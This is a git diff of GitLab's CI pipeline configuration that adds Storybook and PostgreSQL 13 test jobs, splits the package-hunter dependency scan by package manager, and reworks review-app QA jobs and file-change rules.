.compile-assets-base:
extends:
- .default-retry
@@ -35,6 +39,15 @@ compile-production-assets:
- public/assets/
- webpack-report/
when: always
+ before_script:
+ - if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
+ echo "Checking out \$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA ($CI_MERGE_REQUEST_SOURCE_BRANCH_SHA) instead of \$CI_COMMIT_SHA (merge result commit $CI_COMMIT_SHA) so that GitLab assets image tag actually reflect the commit for which assets were compiled.";
+ git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
+ else
+ echo "Building the image from \$CI_COMMIT_SHA ($CI_COMMIT_SHA) for this non-merge result pipeline.";
+ fi;
+ - echo "See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#with-pipeline-for-merged-results for more details.";
+ - !reference [.default-before_script, before_script]
after_script:
- rm -f /etc/apt/sources.list.d/google*.list # We don't need to update Chrome here
@@ -80,6 +93,15 @@ update-yarn-cache:
script:
- *yarn-install
+update-storybook-yarn-cache:
+ extends:
+ - .default-retry
+ - .storybook-yarn-cache-push
+ - .shared:rules:update-cache
+ stage: prepare
+ script:
+ - *storybook-yarn-install
+
.frontend-fixtures-base:
extends:
- .default-retry
@@ -94,7 +116,7 @@ update-yarn-cache:
- run_timed_command "gem install knapsack --no-document"
- run_timed_command "scripts/gitaly-test-spawn"
- source ./scripts/rspec_helpers.sh
- - rspec_paralellized_job "--tag frontend_fixture"
+ - rspec_paralellized_job
artifacts:
name: frontend-fixtures
expire_in: 31d
@@ -344,3 +366,29 @@ startup-css-check as-if-foss:
needs:
- job: "compile-test-assets as-if-foss"
- job: "rspec frontend_fixture as-if-foss"
+
+.compile-storybook-base:
+ extends:
+ - .frontend-test-base
+ - .storybook-yarn-cache
+ script:
+ - *yarn-install # storybook depends on the global webpack config, so we must install global deps.
+ - *storybook-yarn-install
+ - yarn run storybook:build
+
+compile-storybook:
+ extends:
+ - .compile-storybook-base
+ - .frontend:rules:default-frontend-jobs
+ artifacts:
+ name: storybook
+ expire_in: 31d
+ when: always
+ paths:
+ - storybook/public
+
+compile-storybook as-if-foss:
+ extends:
+ - .compile-storybook-base
+ - .as-if-foss
+ - .frontend:rules:default-frontend-jobs-as-if-foss
diff --git a/.gitlab/ci/global.gitlab-ci.yml b/.gitlab/ci/global.gitlab-ci.yml
index ba49ddfce9d..860397b9437 100644
--- a/.gitlab/ci/global.gitlab-ci.yml
+++ b/.gitlab/ci/global.gitlab-ci.yml
@@ -75,7 +75,7 @@
policy: push # We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up.
.assets-cache: &assets-cache
- key: "assets-${NODE_ENV}-v1"
+ key: "assets-${NODE_ENV}-v2"
paths:
- assets-hash.txt
- public/assets/webpack/
@@ -88,6 +88,16 @@
<<: *assets-cache
policy: push # We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up.
+.storybook-node-modules-cache: &storybook-node-modules-cache
+ key: "storybook-node-modules-${NODE_ENV}-v1"
+ paths:
+ - storybook/node_modules/
+ policy: pull
+
+.storybook-node-modules-cache-push: &storybook-node-modules-cache-push
+ <<: *storybook-node-modules-cache
+ policy: push # We want to rebuild the cache from scratch to ensure stale dependencies are cleaned up.
+
.rubocop-cache: &rubocop-cache
key: "rubocop-v1"
paths:
@@ -181,6 +191,14 @@
- *node-modules-cache-push
- *assets-cache-push
+.storybook-yarn-cache:
+ cache:
+ - *storybook-node-modules-cache
+
+.storybook-yarn-cache-push:
+ cache:
+ - *storybook-node-modules-cache-push
+
.use-pg11:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
@@ -199,6 +217,15 @@
variables:
POSTGRES_HOST_AUTH_METHOD: trust
+.use-pg13:
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36"
+ services:
+ - name: postgres:13
+ command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
+ - name: redis:5.0-alpine
+ variables:
+ POSTGRES_HOST_AUTH_METHOD: trust
+
.use-pg11-ee:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-11-graphicsmagick-1.3.36"
services:
@@ -221,6 +248,17 @@
variables:
POSTGRES_HOST_AUTH_METHOD: trust
+.use-pg13-ee:
+ image: "registry.gitlab.com/gitlab-org/gitlab-build-images:ruby-2.7.2.patched-golang-1.16-git-2.31-lfs-2.9-chrome-89-node-14.15-yarn-1.22-postgresql-13-graphicsmagick-1.3.36"
+ services:
+ - name: postgres:13
+ command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
+ - name: redis:5.0-alpine
+ - name: elasticsearch:7.11.1
+ command: ["elasticsearch", "-E", "discovery.type=single-node"]
+ variables:
+ POSTGRES_HOST_AUTH_METHOD: trust
+
.use-kaniko:
image:
name: registry.gitlab.com/gitlab-org/gitlab-build-images:kaniko
diff --git a/.gitlab/ci/pages.gitlab-ci.yml b/.gitlab/ci/pages.gitlab-ci.yml
index b6d4b0ef11d..e75b0db9071 100644
--- a/.gitlab/ci/pages.gitlab-ci.yml
+++ b/.gitlab/ci/pages.gitlab-ci.yml
@@ -1,3 +1,7 @@
+.compress-public: &compress-public
+ - find public -type f -regex '.*\.\(htm\|html\|txt\|text\|js\|json\|css\|svg\|xml\)$' -exec gzip -f -k {} \;
+ - find public -type f -regex '.*\.\(htm\|html\|txt\|text\|js\|json\|css\|svg\|xml\)$' -exec brotli -f -k {} \;
+
pages:
extends:
- .default-retry
@@ -8,14 +12,18 @@ pages:
- coverage-frontend
- karma
- compile-production-assets
+ - compile-storybook
+ before_script:
+ - apt-get update && apt-get -y install brotli gzip
script:
- mv public/ .public/
- mkdir public/
- mv coverage/ public/coverage-ruby/ || true
- mv coverage-frontend/ public/coverage-frontend/ || true
- mv coverage-javascript/ public/coverage-javascript/ || true
+ - mv storybook/public public/storybook || true
- cp .public/assets/application-*.css public/application.css || true
- - cp .public/assets/application-*.css.gz public/application.css.gz || true
+ - *compress-public
artifacts:
paths:
- public
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index b74c8ebf575..0dfc353820f 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -47,7 +47,6 @@
- rspec_profiling/
- tmp/capybara/
- tmp/memory_test/
- - tmp/feature_flags/
- log/*.log
reports:
junit: junit_rspec.xml
@@ -75,6 +74,11 @@
- .use-pg12
needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets as-if-foss", "detect-tests"]
+.rspec-base-pg13:
+ extends:
+ - .rspec-base
+ - .use-pg13
+
.rspec-ee-base-pg11:
extends:
- .rspec-base
@@ -85,6 +89,11 @@
- .rspec-base
- .use-pg12-ee
+.rspec-ee-base-pg13:
+ extends:
+ - .rspec-base
+ - .use-pg13-ee
+
.rspec-ee-base-geo:
extends: .rspec-base
script:
@@ -101,6 +110,11 @@
- .rspec-ee-base-geo
- .use-pg12-ee
+.rspec-ee-base-geo-pg13:
+ extends:
+ - .rspec-ee-base-geo
+ - .use-pg13-ee
+
.db-job-base:
extends:
- .rails-job-base
@@ -114,7 +128,7 @@
############################
# rspec job parallel configs
.rspec-migration-parallel:
- parallel: 7
+ parallel: 9
.rspec-ee-migration-parallel:
parallel: 3
@@ -123,7 +137,7 @@
parallel: 20
.rspec-ee-unit-parallel:
- parallel: 10
+ parallel: 12
.rspec-ee-unit-geo-parallel:
parallel: 2
@@ -149,13 +163,16 @@ setup-test-env:
- .rails-job-base
- .setup-test-env-cache
- .rails:rules:code-backstage-qa
- - .use-pg12
stage: prepare
variables:
GITLAB_TEST_EAGER_LOAD: "0"
+ SETUP_DB: "false"
script:
- - run_timed_command "bundle exec ruby -I. -e 'require \"config/environment\"; TestEnv.init'"
+ - run_timed_command "scripts/setup-test-env"
+ - echo -e "\e[0Ksection_start:`date +%s`:gitaly-test-build[collapsed=true]\r\e[0KCompiling Gitaly binaries"
- run_timed_command "scripts/gitaly-test-build" # Do not use 'bundle exec' here
+ - echo -e "\e[0Ksection_end:`date +%s`:gitaly-test-build\r\e[0K"
+
artifacts:
expire_in: 7d
paths:
@@ -237,6 +254,11 @@ static-analysis:
script:
- run_timed_command "retry yarn install --frozen-lockfile"
- scripts/static-analysis
+ artifacts:
+ expire_in: 31d
+ when: always
+ paths:
+ - tmp/feature_flags/
static-analysis as-if-foss:
extends:
@@ -244,6 +266,22 @@ static-analysis as-if-foss:
- .static-analysis:rules:as-if-foss
- .as-if-foss
+zeitwerk-check:
+ extends:
+ - .rails-cache
+ - .default-before_script
+ - .rails:rules:ee-and-foss-unit
+ variables:
+ BUNDLE_WITHOUT: ""
+ SETUP_DB: "false"
+ needs: []
+ stage: test
+ script:
+ - sed -i -e "s/config\.autoloader = :classic/config\.autoloader = :zeitwerk/" config/application.rb
+ - RAILS_ENV=test bundle exec rake zeitwerk:check
+ - RAILS_ENV=development bundle exec rake zeitwerk:check
+ - RAILS_ENV=production bundle exec rake zeitwerk:check
+
rspec migration pg12:
extends:
- .rspec-base-pg12
@@ -355,11 +393,10 @@ db:migrate-from-previous-major-version:
- sed -i -e "s/gem 'mimemagic', '~> 0.3.2'/gem 'ruby-magic', '~> 0.4.0'/" Gemfile
- run_timed_command "gem install bundler:1.17.3"
- run_timed_command "bundle update google-protobuf nokogiri grpc mimemagic bootsnap"
- - run_timed_command "bundle install ${BUNDLE_INSTALL_FLAGS}"
- - cp config/gitlab.yml.example config/gitlab.yml
+ - SETUP_DB=false USE_BUNDLE_INSTALL=true bash scripts/prepare_build.sh
- run_timed_command "bundle exec rake db:drop db:create db:structure:load db:migrate db:seed_fu"
- git checkout -f $CI_COMMIT_SHA
- - run_timed_command "bundle install ${BUNDLE_INSTALL_FLAGS}"
+ - SETUP_DB=false USE_BUNDLE_INSTALL=true bash scripts/prepare_build.sh
- run_timed_command "bundle exec rake db:migrate"
db:rollback:
@@ -487,23 +524,7 @@ rspec:feature-flags:
- .coverage-base
- .rails:rules:rspec-feature-flags
stage: post-test
- # We cannot use needs since it would mean needing 84 jobs (since most are parallelized)
- # so we use `dependencies` here.
- dependencies:
- - setup-test-env
- - rspec migration pg12
- - rspec unit pg12
- - rspec integration pg12
- - rspec system pg12
- - rspec-ee migration pg12
- - rspec-ee unit pg12
- - rspec-ee integration pg12
- - rspec-ee system pg12
- - rspec-ee unit pg12 geo
- - rspec-ee integration pg12 geo
- - rspec-ee system pg12 geo
- - memory-static
- - memory-on-boot
+ needs: ["static-analysis"]
script:
- !reference [.minimal-bundle-install, script]
- if [ "$CI_COMMIT_BRANCH" == "$CI_DEFAULT_BRANCH" ]; then
@@ -664,6 +685,8 @@ db:rollback geo:
##########################################
# EE/FOSS: default branch nightly scheduled jobs #
+
+# PG11
rspec migration pg11:
extends:
- .rspec-base-pg11
@@ -688,11 +711,40 @@ rspec system pg11:
- .rspec-base-pg11
- .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-system-parallel
+
+# PG13
+rspec migration pg13:
+ extends:
+ - .rspec-base-pg13
+ - .rspec-base-migration
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rspec-migration-parallel
+
+rspec unit pg13:
+ extends:
+ - .rspec-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rspec-unit-parallel
+
+rspec integration pg13:
+ extends:
+ - .rspec-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rspec-integration-parallel
+
+rspec system pg13:
+ extends:
+ - .rspec-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rspec-system-parallel
+
# EE/FOSS: default branch nightly scheduled jobs #
##########################################
#####################################
# EE: default branch nightly scheduled jobs #
+
+# PG11
rspec-ee migration pg11:
extends:
- .rspec-ee-base-pg11
@@ -733,6 +785,48 @@ rspec-ee system pg11 geo:
extends:
- .rspec-ee-base-geo-pg11
- .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+
+# PG13
+rspec-ee migration pg13:
+ extends:
+ - .rspec-ee-base-pg13
+ - .rspec-base-migration
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-migration-parallel
+
+rspec-ee unit pg13:
+ extends:
+ - .rspec-ee-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-unit-parallel
+
+rspec-ee integration pg13:
+ extends:
+ - .rspec-ee-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-integration-parallel
+
+rspec-ee system pg13:
+ extends:
+ - .rspec-ee-base-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-system-parallel
+
+rspec-ee unit pg13 geo:
+ extends:
+ - .rspec-ee-base-geo-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-unit-geo-parallel
+
+rspec-ee integration pg13 geo:
+ extends:
+ - .rspec-ee-base-geo-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+
+rspec-ee system pg13 geo:
+ extends:
+ - .rspec-ee-base-geo-pg13
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
# EE: default branch nightly scheduled jobs #
#####################################
diff --git a/.gitlab/ci/reports.gitlab-ci.yml b/.gitlab/ci/reports.gitlab-ci.yml
index 4cc03fdb1a4..690a971927c 100644
--- a/.gitlab/ci/reports.gitlab-ci.yml
+++ b/.gitlab/ci/reports.gitlab-ci.yml
@@ -74,33 +74,35 @@ gemnasium-dependency_scanning:
- apk add jq
# Lower execa severity based on https://gitlab.com/gitlab-org/gitlab/-/issues/223859#note_452922390
- jq '(.vulnerabilities[] | select (.cve == "yarn.lock:execa:gemnasium:05cfa2e8-2d0c-42c1-8894-638e2f12ff3d")).severity = "Medium"' gl-dependency-scanning-report.json > temp.json && mv temp.json gl-dependency-scanning-report.json
- rules: !reference [".reports:rules:dependency_scanning", rules]
+ rules: !reference [".reports:rules:gemnasium-dependency_scanning", rules]
bundler-audit-dependency_scanning:
- rules: !reference [".reports:rules:dependency_scanning", rules]
+ rules: !reference [".reports:rules:bundler-audit-dependency_scanning", rules]
retire-js-dependency_scanning:
- rules: !reference [".reports:rules:dependency_scanning", rules]
+ rules: !reference [".reports:rules:retire-js-dependency_scanning", rules]
gemnasium-python-dependency_scanning:
- rules: !reference [".reports:rules:dependency_scanning", rules]
+ rules: !reference [".reports:rules:gemnasium-python-dependency_scanning", rules]
# Analyze dependencies for malicious behavior
# See https://gitlab.com/gitlab-com/gl-security/security-research/package-hunter
-package_hunter:
+.package_hunter-base:
extends:
- .default-retry
- - .reports:rules:package_hunter
stage: test
image:
- name: registry.gitlab.com/gitlab-com/gl-security/security-research/package-hunter-cli:latest
+ name: registry.gitlab.com/gitlab-com/gl-security/security-research/package-hunter-cli:1.1.0
entrypoint: [""]
+ variables:
+ DEBUG: '*'
+ HTR_user: '$PACKAGE_HUNTER_USER'
+ HTR_pass: '$PACKAGE_HUNTER_PASS'
needs: []
allow_failure: true
- script:
+ before_script:
- rm -r spec locale .git app/assets/images doc/
- cd .. && tar -I "gzip --best" -cf gitlab.tgz gitlab/
- - DEBUG=* HTR_user=$PACKAGE_HUNTER_USER HTR_pass=$PACKAGE_HUNTER_PASS node /usr/src/app/cli.js analyze --format gitlab gitlab.tgz | tee $CI_PROJECT_DIR/gl-dependency-scanning-report.json
artifacts:
paths:
- gl-dependency-scanning-report.json
@@ -108,6 +110,20 @@ package_hunter:
dependency_scanning: gl-dependency-scanning-report.json
expire_in: 1 week
+package_hunter-yarn:
+ extends:
+ - .package_hunter-base
+ - .reports:rules:package_hunter-yarn
+ script:
+ - node /usr/src/app/cli.js analyze --format gitlab --manager yarn gitlab.tgz | tee $CI_PROJECT_DIR/gl-dependency-scanning-report.json
+
+package_hunter-bundler:
+ extends:
+ - .package_hunter-base
+ - .reports:rules:package_hunter-bundler
+ script:
+ - node /usr/src/app/cli.js analyze --format gitlab --manager bundler gitlab.tgz | tee $CI_PROJECT_DIR/gl-dependency-scanning-report.json
+
license_scanning:
extends: .default-retry
needs: []
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index cabeb0cc1ac..38d59af5aed 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -2,7 +2,7 @@ review-cleanup:
extends:
- .default-retry
- .review:rules:review-cleanup
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3-kubectl1.14
+ image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-helm3.5-kubectl1.17
stage: prepare
environment:
name: review/auto-cleanup
@@ -25,7 +25,7 @@ review-build-cng:
extends:
- .default-retry
- .review:rules:review-build-cng
- image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine
+ image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine3.13
stage: review-prepare
before_script:
- source ./scripts/utils.sh
@@ -54,7 +54,6 @@ review-deploy:
extends:
- .review-workflow-base
- .review:rules:review-deploy
- retry: 2
stage: review
needs: ["review-build-cng"]
resource_group: "review/${CI_COMMIT_REF_NAME}"
@@ -66,8 +65,6 @@ review-deploy:
- *base-before_script
script:
- check_kube_domain
- - "ensure_namespace ${KUBE_NAMESPACE}"
- - install_external_dns
- download_chart
- date
- deploy || (display_deployment_debug && exit 1)
@@ -97,13 +94,13 @@ review-deploy:
before_script:
- *base-before_script
-review-stop-failed-deployment:
+review-delete-deployment:
extends:
- .review-stop-base
- - .review:rules:review-stop-failed-deployment
+ - .review:rules:review-delete-deployment
stage: prepare
script:
- - delete_failed_release
+ - delete_release
review-stop:
extends:
@@ -111,18 +108,19 @@ review-stop:
- .review:rules:review-stop
stage: post-qa
script:
- - delete_release
+ - delete_k8s_release_namespace
.review-qa-base:
extends:
- .use-docker-in-docker
- image: registry.gitlab.com/gitlab-org/gitlab-build-images:gitlab-qa-alpine-ruby-2.7
+ image:
+ name: ${CI_REGISTRY}/${CI_PROJECT_PATH}/gitlab-ee-qa:${CI_COMMIT_REF_SLUG}
+ entrypoint: [""]
stage: qa
- needs: ["review-deploy"]
+ needs: ["build-qa-image", "review-deploy"]
variables:
- QA_ARTIFACTS_DIR: "${CI_PROJECT_DIR}/qa"
- QA_CAN_TEST_GIT_PROTOCOL_V2: "false"
QA_DEBUG: "true"
+ QA_CAN_TEST_GIT_PROTOCOL_V2: "false"
QA_GENERATE_ALLURE_REPORT: "true"
GITLAB_USERNAME: "root"
GITLAB_PASSWORD: "${REVIEW_APPS_ROOT_PASSWORD}"
@@ -132,21 +130,22 @@ review-stop:
EE_LICENSE: "${REVIEW_APPS_EE_LICENSE}"
SIGNUP_DISABLED: "true"
before_script:
- - export QA_IMAGE="${CI_REGISTRY}/${CI_PROJECT_PATH}/gitlab-ee-qa:${CI_COMMIT_REF_SLUG}"
+ # Use $CI_MERGE_REQUEST_SOURCE_BRANCH_SHA so that GitLab image built in omnibus-gitlab-mirror and QA image are in sync.
+ - if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
+ git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
+ fi
- export CI_ENVIRONMENT_URL="$(cat environment_url.txt)"
- echo "${CI_ENVIRONMENT_URL}"
- - echo "${QA_IMAGE}"
- - *base-before_script
- - gem install gitlab-qa --no-document ${GITLAB_QA_VERSION:+ --version ${GITLAB_QA_VERSION}}
+ - cd qa
artifacts:
paths:
- - ./qa/gitlab-qa-run-*
+ - qa/tmp
expire_in: 7 days
when: always
.allure-report-base:
image:
- name: ${GITLAB_DEPENDENCY_PROXY}andrcuns/allure-report-publisher:0.3.2
+ name: ${GITLAB_DEPENDENCY_PROXY}andrcuns/allure-report-publisher:0.3.4
entrypoint: [""]
stage: post-qa
variables:
@@ -157,7 +156,7 @@ review-stop:
script:
- |
allure-report-publisher upload gcs \
- --results-glob="qa/gitlab-qa-run-*/**/allure-results/*" \
+ --results-glob="qa/tmp/allure-results/*" \
--bucket="gitlab-qa-allure-reports" \
--prefix="$ALLURE_REPORT_PATH_PREFIX/$CI_COMMIT_REF_SLUG" \
--update-pr="comment" \
@@ -171,7 +170,7 @@ review-qa-smoke:
- .review:rules:review-qa-smoke
retry: 1 # This is confusing but this means "2 runs at max".
script:
- - gitlab-qa Test::Instance::Smoke "${QA_IMAGE}" "${CI_ENVIRONMENT_URL}"
+ - bin/test Test::Instance::Smoke "${CI_ENVIRONMENT_URL}"
review-qa-all:
extends:
@@ -181,7 +180,14 @@ review-qa-all:
script:
- export KNAPSACK_REPORT_PATH=knapsack/master_report.json
- export KNAPSACK_TEST_FILE_PATTERN=qa/specs/features/**/*_spec.rb
- - gitlab-qa Test::Instance::Any "${QA_IMAGE}" "${CI_ENVIRONMENT_URL}" -- --format RspecJunitFormatter --out tmp/rspec-${CI_JOB_ID}.xml --format html --out tmp/rspec.htm --color --format documentation
+ - |
+ bin/test Test::Instance::All "${CI_ENVIRONMENT_URL}" \
+ -- \
+ --color --format documentation \
+ --format RspecJunitFormatter --out tmp/rspec.xml
+ artifacts:
+ reports:
+ junit: qa/tmp/rspec.xml
review-performance:
extends:
@@ -209,32 +215,6 @@ review-performance:
performance: performance.json
expire_in: 31d
-parallel-spec-reports:
- extends:
- - .review:rules:review-qa-all
- image: ${GITLAB_DEPENDENCY_PROXY}ruby:2.7-alpine
- stage: post-qa
- needs: ["review-qa-all"]
- variables:
- NEW_PARALLEL_SPECS_REPORT: qa/report-new.html
- BASE_ARTIFACT_URL: "${CI_PROJECT_URL}/-/jobs/${CI_JOB_ID}/artifacts/file/qa/"
- script:
- - apk add --update build-base libxml2-dev libxslt-dev && rm -rf /var/cache/apk/*
- - gem install nokogiri --no-document
- - cd qa/gitlab-qa-run-*/gitlab-*
- - ARTIFACT_DIRS=$(pwd |rev| awk -F / '{print $1,$2}' | rev | sed s_\ _/_)
- - cd -
- - '[[ -f $NEW_PARALLEL_SPECS_REPORT ]] || echo "{}" > ${NEW_PARALLEL_SPECS_REPORT}'
- - scripts/merge-html-reports ${NEW_PARALLEL_SPECS_REPORT} ${BASE_ARTIFACT_URL}${ARTIFACT_DIRS} qa/gitlab-qa-run-*/**/rspec.htm
- artifacts:
- when: always
- paths:
- - qa/report-new.html
- - qa/gitlab-qa-run-*
- reports:
- junit: qa/gitlab-qa-run-*/**/rspec-*.xml
- expire_in: 31d
-
allure-report-qa-smoke:
extends:
- .allure-report-base
@@ -267,10 +247,14 @@ danger-review:
script:
- >
if [ -z "$DANGER_GITLAB_API_TOKEN" ]; then
- # Force danger to skip CI source GitLab and fallback to "local only git repo".
- unset GITLAB_CI
- # We need to base SHA to help danger determine the base commit for this shallow clone.
- run_timed_command "bundle exec danger dry_run --fail-on-errors=true --verbose --base='$CI_MERGE_REQUEST_DIFF_BASE_SHA'"
+ run_timed_command danger_as_local
else
run_timed_command "bundle exec danger --fail-on-errors=true --verbose"
fi
+
+danger-review-local:
+ extends:
+ - danger-review
+ - .review:rules:danger-local
+ script:
+ - run_timed_command danger_as_local
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 8dd97c1fe69..c97ef4fc868 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -131,6 +131,30 @@
- ".markdownlint.yml"
- "scripts/lint-doc.sh"
+.bundler-patterns: &bundler-patterns
+ - '{Gemfile.lock,*/Gemfile.lock,*/*/Gemfile.lock}'
+
+.nodejs-patterns: &nodejs-patterns
+ - '{package.json,*/package.json,*/*/package.json}'
+
+.python-patterns: &python-patterns
+ - '{requirements.txt,*/requirements.txt,*/*/requirements.txt}'
+ - '{requirements.pip,*/requirements.pip,*/*/requirements.pip}'
+ - '{Pipfile,*/Pipfile,*/*/Pipfile}'
+ - '{requires.txt,*/requires.txt,*/*/requires.txt}'
+ - '{setup.py,*/setup.py,*/*/setup.py}'
+
+.dependency-patterns: &dependency-patterns
+ - '{Gemfile.lock,*/Gemfile.lock,*/*/Gemfile.lock}'
+ - '{composer.lock,*/composer.lock,*/*/composer.lock}'
+ - '{gems.locked,*/gems.locked,*/*/gems.locked}'
+ - '{go.sum,*/go.sum,*/*/go.sum}'
+ - '{npm-shrinkwrap.json,*/npm-shrinkwrap.json,*/*/npm-shrinkwrap.json}'
+ - '{package-lock.json,*/package-lock.json,*/*/package-lock.json}'
+ - '{yarn.lock,*/yarn.lock,*/*/yarn.lock}'
+ - '{packages.lock.json,*/packages.lock.json,*/*/packages.lock.json}'
+ - '{conan.lock,*/conan.lock,*/*/conan.lock}'
+
.frontend-dependency-patterns: &frontend-dependency-patterns
- "{package.json,yarn.lock}"
- "config/webpack.config.js"
@@ -138,6 +162,7 @@
.frontend-build-patterns: &frontend-build-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "config/webpack.config.js"
- "config/**/*.js"
@@ -146,6 +171,7 @@
.frontend-patterns: &frontend-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "jest.config.{base,integration,unit}.js"
- ".csscomb.json"
@@ -163,7 +189,7 @@
- "config.ru"
# List explicitly all the app/ dirs that are backend (i.e. all except app/assets).
- "{,ee/,jh/}{app/channels,app/controllers,app/finders,app/graphql,app/helpers,app/mailers,app/models,app/policies,app/presenters,app/serializers,app/services,app/uploaders,app/validators,app/views,app/workers}/**/*"
- - "{,ee/,jh/}{bin,cable,config,db,lib}/**/*"
+ - "{,ee/,jh/}{bin,cable,config,db,generator_templates,lib}/**/*"
- "{,ee/,jh/}spec/**/*.rb"
# CI changes
- ".gitlab-ci.yml"
@@ -198,6 +224,7 @@
.code-patterns: &code-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "jest.config.{base,integration,unit}.js"
- ".csscomb.json"
@@ -213,7 +240,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,generator_templates,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
@@ -223,6 +250,7 @@
.code-backstage-patterns: &code-backstage-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "jest.config.{base,integration,unit}.js"
- ".csscomb.json"
@@ -238,7 +266,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,generator_templates,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# Backstage changes
@@ -251,6 +279,7 @@
.code-qa-patterns: &code-qa-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "jest.config.{base,integration,unit}.js"
- ".csscomb.json"
@@ -266,7 +295,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,generator_templates,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# QA changes
@@ -275,6 +304,7 @@
.code-backstage-qa-patterns: &code-backstage-qa-patterns
- "{package.json,yarn.lock}"
+ - ".browserslistrc"
- "babel.config.js"
- "jest.config.{base,integration,unit}.js"
- ".csscomb.json"
@@ -290,7 +320,7 @@
- "Rakefile"
- "tests.yml"
- "config.ru"
- - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,generator_templates,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# Backstage changes
@@ -304,6 +334,12 @@
- ".dockerignore"
- "qa/**/*"
+.code-backstage-danger-patterns: &code-backstage-danger-patterns
+ # Backstage changes
+ - "Dangerfile"
+ - "danger/**/*"
+ - "tooling/danger/**/*"
+
################
# Shared rules #
################
@@ -932,14 +968,6 @@
- <<: *if-merge-request-title-run-all-rspec
when: always
-.rails:rules:rspec-feature-flags:
- rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-default-branch-schedule-2-hourly
- allow_failure: true
- - <<: *if-merge-request-title-run-all-rspec
-
.rails:rules:default-branch-schedule-nightly--code-backstage:
rules:
- <<: *if-default-branch-schedule-nightly
@@ -954,6 +982,12 @@
- <<: *if-merge-request
changes: [".gitlab/ci/rails.gitlab-ci.yml"]
+.rails:rules:rspec-feature-flags:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - changes: *code-backstage-patterns
+
#########################
# Static analysis rules #
#########################
